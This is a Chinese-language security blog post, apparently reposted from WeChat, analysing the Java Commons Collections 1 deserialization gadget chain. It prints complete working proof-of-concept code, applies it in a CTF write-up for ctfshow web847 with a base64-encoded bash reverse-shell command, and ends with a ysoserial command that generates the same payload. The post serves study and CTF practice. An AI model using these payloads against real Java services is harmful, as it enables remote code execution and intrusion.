Commons Collections1链分析与学习

admin 2024年3月25日11:13:43评论11 views字数 11851阅读39分30秒阅读模式

前言

两个月前就学了CC链子,当时虽然看懂了大概是个什么流程,但感有些囫囵吞枣,算不上真正学会,也没有记录学习,因此我觉得还是很有必要再学习,温习的。如果你也是想复习一番,可以看看,当然如果你想从环境搭建开始学,那我推荐看看白日梦组长的哔站视频

CC是说Commons Collections,是一个扩展了Java标准库里的Collection结构的第三方基础库,其虽然为开发人员带来了方便,但也为开发人员的杰作带来隐患

条件允许还是希望大家上手看看,感觉和光看着csdn文章或者视频完全不一样,主要还是提升代码水平

今天看下CC1的TransformedMap版本,适用于8u71以下的java版本,主要还是学习思路

入手点

当然是poc,这是P牛写的,我们主要是围绕TransformedMap,ConstantTransformer,InvokerTransformer,ChainedTransformer展开学习慢慢靠近

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

先看Transformer接口

Commons Collections1链分析与学习

很好理解,就一句话,下面是它的实现方法

Commons Collections1链分析与学习

ConstantTransformer

这个比较简单,我们跳转过去可以发现其实现函数和类

Commons Collections1链分析与学习

当我们创建A实例,传入一个B对象,构造器就会赋值,当调用A的transformer的时候就回返回B对象,如图:

Commons Collections1链分析与学习

无论给transformer如何赋值传出的都是aaaaa

InvokerTransformer

构造器:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

方法:

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

见名知义,invoketransformer使用了反射的方法调用传入类的方法 从构造器可以看出有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

InvokerTransformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
transformer.transform(Runtime.getRuntime());

然后成功弹出vscode

ChainedTransformer

构造器和实现接口方法如下:

    /**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

看着很简单,ChainedTransformer能够将多个 Transformer 实例链接起来,然后按照顺序依次执行。这种模式也被称为责任链模式 将输入对象传递给每一个 Transformer 进行转换,并将转换后的结果作为下一个 Transformer 的输入。最后返回最后一个 Transformer 转换后的结果 我们尝试用用

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {constantTransformer,invokerTransformer});
chainedTransformer.transform("zacarx");

很轻松就成功命令执行了 当然我们也可以扎一堆写成P牛那样,理解起来都一样

TransformedMap

TransformedMap有一个装饰方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

作用就是包装,为什么要包装呢?方便触发?后面会有答案,不过现在,我们已经掌握了如何利用CC1了

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {constantTransformer,invokerTransformer});
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("1","2");

虽然我们了解了CC1利用逻辑,但是有一个很重要的问题那就是怎么触发它 要知道,没有程序员会无缘无故的在系统写这么几行代码,所以我们需要找一个类触发,不然怎么算是完整的CC1呢 因此我们的路还有一段要走

AnnotationInvocationHandler

先上结果,sun.reflect.annotation.AnnotationInvocationHandler readObject⽅法就是触发CC1的神器 看看代码

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
//通过反射机制来获取注解类型的元数据信息的。
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

简单研究了下代码,输入流也就是输入的对象s,然后输入被defaultReadObject恢复对象的状态,因此AnnotationType.getInstance(type) 获取对象s注解类型的元数据信息,接下来,遍历s的元数据信息并依次设置值,随后触发我们编写的代码

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

通过反射获取的构造函数,创建一个新的 AnnotationInvocationHandler 对象实例。 我们事实序列化反序列化触发

Commons Collections1链分析与学习

提示Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime Runtime类是没有实现 java.io.Serializable 接⼝的,所以不允许被序列化 因此,我们需要通过反射的方法解决问题

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("2","1");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object instance = construct.newInstance(Retention.class, outerMap);
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
fin.readObject();
}
}

当然现在距离运行还差一步,p牛如是言

Commons Collections1链分析与学习

所以我们需要满足这个奇怪的条件,放入

innerMap.put("value", "xxxx");

最终POC

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
UnSerializ(Serializ(o));
}
// 序列化
public static ByteArrayOutputStream Serializ(Object o) throws Exception {
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
return barr;
}
// 反序列化
public static void UnSerializ(ByteArrayOutputStream baos) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}·

·

利用一下

CTFSHOW_web847

提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"))

脚本:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.BASE64Encoder;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,{反弹shell的base64编码}}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, transformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, transformedMap);
ByteArrayOutputStream a = Serializ(o);
String data = new BASE64Encoder().encodeBuffer(a.toByteArray());
System.out.println(data);
}
// 序列化
public static ByteArrayOutputStream Serializ(Object o) throws Exception {
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(o);
return barr;
}
}

IDEA给出的payload有空格,可以去下面网站去除 https://www.bejson.com/text/text_delete_enter/

Commons Collections1链分析与学习
Commons Collections1链分析与学习

最后拿到shell

Commons Collections1链分析与学习

当然我们还可以在github找一下ysoserial,输入以下命令就能拿到payload了

java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}"|base64 

原文始发于微信公众号(Zacarx随笔):Commons Collections1链分析与学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日11:13:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Commons Collections1链分析与学习https://cn-sec.com/archives/2598351.html

发表评论

匿名网友 填写信息